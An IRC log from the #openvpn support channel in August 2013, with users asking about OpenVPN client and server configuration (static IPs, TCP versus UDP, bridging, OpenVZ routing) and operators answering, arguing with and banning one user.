20:52 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
21:03 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Ping timeout: 248 seconds]
21:34 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has quit [Quit: Leaving]
21:37 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
21:40 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
21:42 -!- trumee [~parul@93.186.147.20] has joined #openvpn
21:47 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Ping timeout: 240 seconds]
21:47 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
21:50 -!- mattsl1 [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
21:51 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
21:52 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Ping timeout: 256 seconds]
21:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
21:54 -!- mattsl1 [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Ping timeout: 264 seconds]
21:56 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xaqsywnppxlredef] has quit [Ping timeout: 260 seconds]
22:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
22:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:43 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Quit: Leaving.]
22:57 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:14 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
23:16 -!- BtbN [znc@btbn.de] has joined #openvpn
23:27 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:30 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 246 seconds]
23:34 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
23:45 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
23:53 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Ping timeout: 276 seconds]
23:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-arxhowpfshbjdnue] has joined #openvpn
23:58 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
--- Day changed Fri Aug 23 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:03 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has joined #openvpn
00:05 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
00:05 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has joined #openvpn
00:05 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has quit [Quit: Leaving.]
00:23 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
00:23 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
00:27 -!- theY4Kman [~Chaz@pool-72-77-187-14.tampfl.fios.verizon.net] has quit [Ping timeout: 246 seconds]
00:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:17 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
01:17 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
01:26 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:26 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:26 -!- dazo_afk is now known as dazo
01:33 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
01:33 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
01:43 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:05 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has joined #openvpn
02:05 -!- mdev [~mdev@192.210.213.83] has quit [Remote host closed the connection]
02:06 -!- mdev [~mdev@192.210.213.83] has joined #openvpn
02:12 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has quit [Ping timeout: 264 seconds]
03:14 -!- zeroXten [~zeroXten@0x10.co.uk] has left #openvpn []
03:28 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
03:37 -!- Denial [Denial@94.9.99.190] has joined #openvpn
03:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
03:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:49 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has quit [Quit: Lost terminal]
03:59 -!- euphoria360 [~euphoria3@2.147.175.87] has joined #openvpn
03:59 < euphoria360> hi
04:00 < euphoria360> i need some help configing my client/server. can somebody help?
04:02 < euphoria360> hello?
04:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
04:03 -!- takamichi [~takamichi@67.215.234.66] has joined #openvpn
04:04 < euphoria360> hi takamichi
04:06 < euphoria360> anybody home?
04:07 -!- euphoria360 [~euphoria3@2.147.175.87] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- \o/]
04:07 -!- takamichi [~takamichi@67.215.234.66] has quit [Ping timeout: 240 seconds]
04:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
04:26 -!- napnap [~napnap@95-141-110-114.as16211.net] has joined #openvpn
04:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:28 < napnap> Hi all. I've successfully create an openvpn server (udp/tun). But there remains a problem. I can use RDP on a machine, it's works. But I canno't see share folders on this same machine(\\IP in files browser) ...I don't understaénd why.
04:29 < napnap> When in XP client I try to reach \\IP\ the window is white, without any folders... (But in my LAN I can see shared folders..)
05:26 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:28 -!- newbie|2 [~tjz@cm-110-171-186-229.revip7.asianet.co.th] has quit [Ping timeout: 264 seconds]
05:37 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
05:42 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
05:43 -!- kubbing [~kubbing@ip-89-177-146-148.net.upcbroadband.cz] has joined #openvpn
05:43 < napnap> (also I put an sameNameAsOvpnFile_UP.bat in the client config directory but is not launched )
05:44 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
05:48 -!- master_o1_master [~master_of@p4FD7B471.dip0.t-ipconnect.de] has joined #openvpn
05:49 < napnap> I've see that on openvpn forum(https://forums.openvpn.net/topic10615.html)...is it a myth ?
05:49 <@vpnHelper> Title: OpenVPN Support Forum Auto-launch .bat script upon OpenVPN connection in Windows : Scripting and Customizations (at forums.openvpn.net)
05:50 -!- master_of_master [~master_of@p4FF24F0A.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
06:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-arxhowpfshbjdnue] has quit [Ping timeout: 256 seconds]
06:10 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
06:14 < Laverne> napnap: no, that actually works
06:26 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
06:28 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
06:29 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:30 -!- kubbing [~kubbing@ip-89-177-146-148.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
06:36 < eval-> pekster: Finally everything works just swell.  But I am confused that 'cipher none' only reduces the Pis cpu% (under load, ~.5MB/s BW) from 35% (blowfish) to 27% (none) ?!
06:37 -!- kubbing [~kubbing@ip-89-177-146-148.net.upcbroadband.cz] has joined #openvpn
06:38 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:39 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
06:42 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 256 seconds]
06:46 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
06:48 < napnap> Laverne, ... strange for me not...I think I've a correct version, I downloaded it few days ago...(But I haven't found the way to check the version !)
06:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
06:57 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
07:03 -!- klaxa [~klaxa@klaxa.eu] has quit [Ping timeout: 268 seconds]
07:05 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
07:11 -!- kubbing [~kubbing@ip-89-177-146-148.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
07:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:31 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
07:31 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Write error: Broken pipe]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:38 -!- pii3 [~void@unaffiliated/pii3] has joined #openvpn
07:38 < pii3> Hi
07:38 < pii3> what is the maximum encryption level in openvpn ?
07:41 -!- pii3 [~void@unaffiliated/pii3] has left #openvpn ["Leaving"]
07:54 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
08:04 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has joined #openvpn
08:17 -!- takamich_ [~takamichi@217.23.5.63] has joined #openvpn
08:17 < eval-> Is it normal my CPU usage drops in half when I do "proto tcp"?  (My bandwidth drops less than that)  And that lzo seems to have very minimal effect on either speeds or cpu?
08:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
08:18 < eval-> Now I can't go back to 'proto udp' (default) which worked just fine before I tested tcp
08:18 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has joined #openvpn
08:19 < rob0> interesting. I had not heard that. Just hope your real connections on both/all endpoints stay solid, because TCP goes to hell with any kind of packet loss.
08:31 -!- wallbreaker_ [~wallbreak@151.72.29.195] has joined #openvpn
08:33 -!- vaillor [~wallbreak@151.72.29.195] has quit [Ping timeout: 268 seconds]
08:40 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has quit []
08:42 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has quit [Ping timeout: 245 seconds]
08:45 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
08:47 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
08:49 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
08:50 -!- takamich_ [~takamichi@217.23.5.63] has quit [Ping timeout: 245 seconds]
08:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:03 < wallbreaker_> how to comment a line in configuration file? in the senso of: "server       this line needs to ecc..."
09:08 -!- wallbreaker_ [~wallbreak@151.72.29.195] has quit [Ping timeout: 245 seconds]
09:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
09:24 -!- wallbreaker_ [~wallbreak@151.72.29.195] has joined #openvpn
09:25 <@ecrist>  wallbreaker_ a # is sufficient to comment a line
09:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:25 -!- mode/#openvpn [+o dazo_afk] by ChanServ
09:25 -!- dazo_afk is now known as dazo
09:26 < wallbreaker_> ok thanks
09:26 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
09:26 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:28 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 245 seconds]
09:31 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
09:32 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:37 -!- wallbreaker_ [~wallbreak@151.72.29.195] has quit []
09:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:44 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
09:51 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
09:51 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
09:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:04 -!- vaillor [~vaillor@151.72.29.195] has joined #openvpn
10:09 < vaillor> i'm unable to make "ifconfig 10.0.0.1 255.255.255.0" on client side working with "server 10.0.0.0 255.255.255.0" on the server side. they connects each other, but i can't ping
10:11 < eval-> rob0: Yeah, I'd really like the config to work with udp again =( A cpu bottleneck I can manage with LXC or something... but TCP (and it's looking like it's quite a bit slower than UDP now) ..meh.  I have no idea why it suddnely stopped.  Or, are there ways to get TCP to approach UDP speeds?  That'd be ideal, if this lower cpu% holds up (using tcp)
10:11 < rob0> !tcp
10:11 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
10:11 < eval-> rob0: (by 'manage' I mean container openvpn so the rest is still responsive)
10:12 < rob0> try --tcp-nodelay
10:12 < eval-> Thanks =)
10:13 < eval-> I'm still surprised comp-lzo accounts for less than .5% cpu use on a raspberry pi (torrenting debian dvd isos as test)
10:13 -!- Fluid`work [~fluid@vps.17psi.com] has joined #openvpn
10:13 < Fluid`work> unrouteable control packet?
10:14 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has joined #openvpn
10:16 < eval-> rob0: Assertion failed at helper.c:525
10:20 < eval-> Lol ok you have to be the server
10:23 -!- raidz_away is now known as raidz
10:25 < eval-> So rude! if (o->mode == MODE_SERVER) {...} else ASSERT(0) ... ie, if (user->cannot_grep_src) { screw_them(); }  ok ok I'm sure I could RTFM somewhere
10:27 -!- dvl- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
10:28 < dvl-> At present, I'm running OpenVPN on my gateway/firewall box. I'm considering moving OpenVPN to another server inside.  Anyone doing this?  Seems just like a port forrward to me.
10:35 -!- napnap [~napnap@95-141-110-114.as16211.net] has quit [Quit: Quitte]
10:39 < Fluid`work> hi
10:39 < Fluid`work> yep
10:39 < Fluid`work> just a port forward
10:39 < Fluid`work> ez
10:45 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
10:46 -!- alanjf [~ajf@unaffiliated/alanjf] has joined #openvpn
10:46 < alanjf> Does anyone know if it's ok to assign individual an individual IP address to each member interface (2 in my case, eth0 and tap0) of a network bridge, /instead/ of to br0 ?
10:49 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:56 < alanjf> This is, if I setup a network bridge br0 that consists of eth0 and tap0, br0 has the IP while the members don't. I want to know if it's ok to NOT assign an IP to br0 but two separate ones (in the same subnet perhaps) to each member? Is there a reason why this would be bad?
10:57 -!- Varazir [~mircwars@c-94-255-132-205.cust.bredband2.com] has joined #openvpn
10:58 < alanjf> The main reason is I'm trying to figure out a way to prevent DHCP packets from going across the bridge (via tap0.) THe OpenVPN server is also running ISC dhcpd and sometimes on the cient ends they get DHCP responses from this side and I want to prevent that.
11:03 -!- vaillor [~vaillor@151.72.29.195] has quit [Read error: Connection reset by peer]
11:03 -!- wallbreaker_ [~vaillor@151.72.29.195] has joined #openvpn
11:03 -!- wallbreaker_ [~vaillor@151.72.29.195] has quit [Client Quit]
11:09 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has quit [Ping timeout: 245 seconds]
11:14 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has quit [Ping timeout: 276 seconds]
11:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:21 -!- vaillor [~vaillor@151.72.29.195] has joined #openvpn
11:22 < vaillor> The  server itself will take the ".1" address
11:22 < vaillor>                of the given network for use as the server-side endpoint of  the
11:22 < vaillor>                local TUN/TAP interface.
11:22 < vaillor> this is using "server 10.0.0.0 255.255.255.0"
11:22 < vaillor> but it's not true
11:22 <@krzee> oh really?
11:22 < vaillor> in the sense that from the client connected to the server, i can't ping 10.0.0.1
11:22 < vaillor> i don't know why :\
11:22 <@krzee> not because the manual is wrong
11:23 <@krzee> but rather because you arent connected, had an issue adding routes, or have a firewall screwed up
11:23 <@krzee> when you have a problem the first thing you assume before testing is that the manual must be wrong?
11:23 < vaillor> krzee, this iproblem is only when on the server i use "server 10.0.0.0 255.255.255.0"
11:24 < vaillor> if i use ifconfig 10.0.0.0 255.255.255.0
11:24 < vaillor> with tls-server
11:24 < vaillor> all works well
11:24 <@krzee> oh really
11:24 <@krzee> you ifconfig to a network address and say it works?
11:24 <@krzee> this is me calling your bluff
11:24 < vaillor> works, in the sense that i can ping server from the client
11:25 < vaillor> http://nopaste.info/22826419f6.html
11:25 < vaillor> in this way, it doesn't work
11:25 <@krzee> im more concerned with you saying that ifconfig 10.0.0.0 255.255.255.0   leads to your server running the command ifconfig 10.0.0.1 lol
11:25 < vaillor> substituting line 8 with "ifconfig 10.0.0.0 255.255.255.0 and tls-server" works well
11:26 <@krzee> since ifconfig 10.0.0.0 255.255.255.0 would lead to it trying to take the ip 10.0.0.0 which is invalid
11:26 <@krzee> haha
11:26 <@krzee> i get it now
11:27 < vaillor> yes but it works
11:27 <@krzee> on the client: remove lines 28 38 37
11:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:27 <@krzee> your first client will get the ip 10.8.0.6
11:28 <@krzee> err no
11:28 < vaillor> i know it
11:28 < vaillor> but not
11:28 <@krzee> your first client will get the ip 10.8.0.2
11:28 < vaillor> i need a static config
11:28 < ngharo> krzee: do you maintain vpnHelper?
11:28 <@krzee> !static
11:28 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
11:28 <@krzee> ngharo, yes
11:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:28 <@krzee> vaillor, get it working how i said, THEN ask about what you want next
11:28 < ngharo> can i submit a patch for it to watch github pull requests?
11:29 < vaillor> krzee, i know all about static configurations, because of I use common certificates for all. I need that kind of static configuration
11:29 < vaillor> i'm trying to know why in my config, i can't ping
11:30 <@krzee> you obviously DONT know all about static configuration
11:30 <@krzee> cause you are mixing 2 setups that shouldnt be mixed
11:30 < vaillor> in the end, server =tls-server + pull
11:30 <@krzee> it says what server does in the manual
11:30 <@krzee> and servers dont pull
11:30 < vaillor> ops
11:30 < vaillor> push
11:30 < vaillor> pushes configuration in clients
11:31 <@krzee> !man
11:31 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
11:31 <@krzee> you showed you did read it, how do you not see the part where it defines EVERY config option it expands to?
11:31 <@krzee> ngharo, interesting, i will have to forward that to ecrist
11:32 <@krzee> it is a supybot so the code would need to be for that
11:32 < ngharo> ok, lemme know if I can do it.  https://api.github.com/repos/OpenVPN/openvpn/pulls is the API
11:32 < ngharo> ok, cool that's good to know
11:33 <@krzee> or if it could be rss we already have that
11:33 <@krzee> when trac gets posts it goes to the dev channel
11:34 <@krzee>  <vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97>
11:34 <@vpnHelper> Title: Fix configure interaction with static OpenSSL libraries · 30e358e · OpenVPN/openvpn · GitHub (at github.com)
11:35 < ngharo> maybe i'll just json-to-rss and host an endpoint that you can point at
11:35 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has joined #openvpn
11:35 <@krzee> vaillor, i also see you are connecting inside the lan and redirecting gateway
11:35 <@krzee> you must use:
11:35 <@krzee> !local
11:35 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
11:36 <@krzee> after you remove the crap i said, and fix that, it will work
11:36 <@krzee> (at least for pinging within vpn, maybe not for internet traffic)
11:37 < vaillor> krzee, using redirect def1, with the other working config on my LAN, it works. why?
11:37 < vaillor> i not used "local"
11:38 < vaillor> *redirect-gateway def1
11:38 <@krzee> you said the other setup "works" too
11:38 <@krzee> lol
11:38 <@krzee> prolly cause you're doing it so wrong that you think it works ;]
11:39 <@krzee> see --redirect-gateway in the manual to see what the local flag does and why you need it
11:39 <@krzee> hey i have an idea@
11:39 <@krzee> instead of arguing with every answer you are given, why dont you TRY THEM
11:40 <@EugeneKay> There's a fine line between genius and madness. This problem lies nowhere near that line.
11:40 <@krzee> lol
11:40 < vaillor> no, wait, i know what i'm doing. using "server 10.0.0.0 255.255.255.0" on the server, and client with only "client" and "redirect-gateway def1" over my lan, it works well
11:40 -!- Guest54114 [~LargePrim@unaffiliated/largeprime] has joined #openvpn
11:41 <@krzee> vaillor, do you need help with something, if so what>
11:42 < vaillor> the only help I need is technically understanding why with ifconfig line on the client and "server 10.0.0.0 255.255.255.0" line on the server, the hosts can't ping
11:42 <@krzee> a) you dont use ifconfig on the client.
11:42 < vaillor> I use it: http://nopaste.info/22826419f6.html
11:43 <@krzee> --server pushes an ifconfig to the client
11:43 <@krzee> no shit, i told you to remove it
11:43 < vaillor> i already told that if i do not use ifconfig, i get a dynamical IP, or static IP if i use somthing like ipp or ccd
11:44 <@krzee> no shit
11:44 <@krzee> thats how it works
11:44 < vaillor> i want simply set ip statically from the client, and not from the server, is so problematic?
11:44 <@krzee> how the fuck do you think your client on 10.0.0.10 would be able to ping your server on 10.8.0.1?
11:44 <@krzee> yes
11:44 <@krzee> the server sets the ip
11:44 <@EugeneKay> Unicorns.
11:44 < vaillor> no, that's a pasting issue, the config is correct
11:45 <@krzee> no, config is bad
11:45 < vaillor> 10.0.0... on both
11:45 <@krzee> and the openvpn server doesnt know what ip the client is, cause it said the client should be something else
11:45 <@krzee> so the internal routing table is throwing MULTI errors at you
11:45 <@krzee> for every rejected packet from the client over the vpn
11:45 -!- mode/#openvpn [+b *!*@151.72.29.*] by krzee
11:46 -!- vaillor was kicked from #openvpn by krzee [pete and repeat are on a boat, pete fell off? who was left?]
11:46 <@krzee> how did that guy ever get unbanned
11:46 <@krzee> lol
11:46 <@krzee> i think every op here has banned him at one point or another
11:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:50 < rob0> I have not, but I have trained myself to mostly ignore vaillor's questions. :)
11:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:55 <@krzee> haha
11:55 <@krzee> his questions didnt bother me, we get worse questions
11:55 -!- mode/#openvpn [+b $a:vaillor] by EugeneKay
11:55 -!- fields2000 [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 256 seconds]
11:55 <@krzee> but yanno, why not at least process the answer
11:55 <@krzee> question -->
11:55 <@krzee> <-- answer
11:55 <@krzee> argue -->
11:55 <@krzee> <-- ban
11:56 <@krzee> maybe i should make him a flowchart ;]
11:56 <@EugeneKay> beer --->
11:56 <@krzee> <-- beer
11:56 <@krzee> beer for all!
11:56 < rob0> haha
11:57 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
11:57 -!- mode/#openvpn [+v fields2grand] by krzee
12:01 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:24 -!- Guest54114 [~LargePrim@unaffiliated/largeprime] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
12:25 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
12:29 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
12:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:40 < mdev> ok I got openvpn running as a client on a remote kvm server(running ubuntu) where it connects to a remote openvpn server
12:41 < mdev> problem is once connected, no software in the kvm can reach any sites/servers etc...
12:41 < mdev> it worked temporarily yesterday, but not at all today
12:41 < mdev> is there some sort of eth0 to tun0 route I need to add or something?
12:42 < mdev> also i've tried various openvpn servers, they work fine connecting to them via windows and surfing
12:46 <@krzee> mdev, did you redirect-gateway?
12:46 <@krzee> mdev, are you using the same subnet for vpn as for lan?
12:47 < mdev> I removed redirect-gateway but that didn't do anything, anyway I downloaded a script that clears alll iptable rules
12:47 < mdev> I ran it and it's working now
12:47 < mdev> :)
12:47 <@krzee> ahh ok
12:50 < mdev> krzee if you ever want to setup a step by step webite that explains how to use openvpn as server/client on different common thigns, like virtual machines(openvz, kvm, xen) or windows, with different configurations that explain things and offer optimized setups
12:50 < mdev> then put up a payway to access it, i'd be down :)
12:50 <@krzee> its basically the same on all dude
12:50 < mdev> it'd have to have screenshots and commands to copy and paste though, I bet many would be into it actually
12:50 <@krzee> you just drop in a proper config and run openvpn
12:51 <@krzee> its all about "what is a proper config"
12:51 < mdev> and that's what people would pay for
12:51 <@krzee> which has very little to do with the OS (there are some windows only stuff, but for the most part openvpn is os independant)
12:51 <@krzee> have you seen our wikis?
12:51 <@krzee> and:
12:51 <@krzee> !factoids
12:51 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
12:51 < mdev> the problem I had yesterday which is trying to run openvpn as a client on openvz failed miserably, I never got it working, so glad kvm works
12:52 <@krzee> the info is already out there, for free
12:52 < mdev> I have gotten openvpn running as a server on openvz/kvm just fine though thanks to existing scripts and googling
12:52 <@krzee> for an openvpn client, the fact it was openvz means nothing
12:52 < mdev> means a lot actually
12:52 <@krzee> (as long as the vm has tun)
12:52 <@krzee> ya?  like what?
12:53 < mdev> well my problem was it couldn't detect a default gateway, and checking routes, it showed * for default which is common for openvz setups
12:53 <@krzee> oh i was unaware? so you just used --route-gateway right?
12:53 < mdev> haven't found any remedy, googled all day yesterday 99% tuts are about setting openvpn up as a server on a openvz
12:54 < mdev> krzee no I never got it working, someone in here where I pasted what it said, said it didn't have a default gateway...
12:54 <@krzee> you are looking for openvz, should be looking for what to do when openvpn cant detect your gateway
12:54 -!- Fluid`work [~fluid@vps.17psi.com] has left #openvpn []
12:54 <@krzee> googling the openvpn error you were given would likely help
12:54 < mdev> I tried replacing the default and it just froze the system when trying to connect to openvpn
12:54 <@krzee> try route-gateway
12:54 < mdev> I googled all day
12:55 < mdev> the default gateway has no ip though
12:55 < mdev> default         *               0.0.0.0         U     0      0        0 venet0
12:55 <@krzee> oh i see
12:55 < mdev> venet0 is used in openvz instead of eth0
12:55 <@krzee> so instead of using redirect-gateway
12:55 <@krzee> sounds like you need to add the routes manually
12:56 <@krzee> using a --route-up script
12:56 <@krzee> !script
12:56 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:56 < mdev> yeah, no idea how to do that, and layman
12:56 <@krzee> you would look at what redirect-gateway def1 actually does
12:56 <@krzee> then reproduce it with route commands that actually work for your setup
